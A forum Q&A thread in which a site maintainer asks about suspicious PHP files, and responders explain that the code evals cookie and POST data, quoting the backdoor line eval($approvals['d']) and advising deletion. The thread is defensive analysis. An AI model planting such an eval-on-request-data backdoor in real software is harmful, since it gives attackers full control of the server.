what does this code exactly do ?? I found a lot of similar files in a project I take responsibility of it recently >> and I don't want to delete something I'm not sure of it. I think it's malicious.
a similar file existed everywhere, I ran antivirus check and they detect some files, but still a lot of them. I've done everything possible, changing every password, DB prefix, prevent Indexing. and those files still existed. what can i do??

- Yes, it's malicious: it processes the request cookies and POST data (in a complicated way I haven't dug into) and uses those to either echo something to the page or run arbitrary PHP code with an eval(). – Rup Commented Apr 1, 2020 at 10:49

Reset to default 3You can easily check what this PHP code is doing by replacing the eval with an echo and running it. It's safer to run this not on your production website, I've run it here on repl.it: https://repl.it/repls/IrresponsibleBelovedKernel which results in the below being printed:

Essentially this line:
eval($approvals['d']); allows an attacker to execute any command on your server and take control of your site
You should immediately delete this file and any other suspicious files that have been added
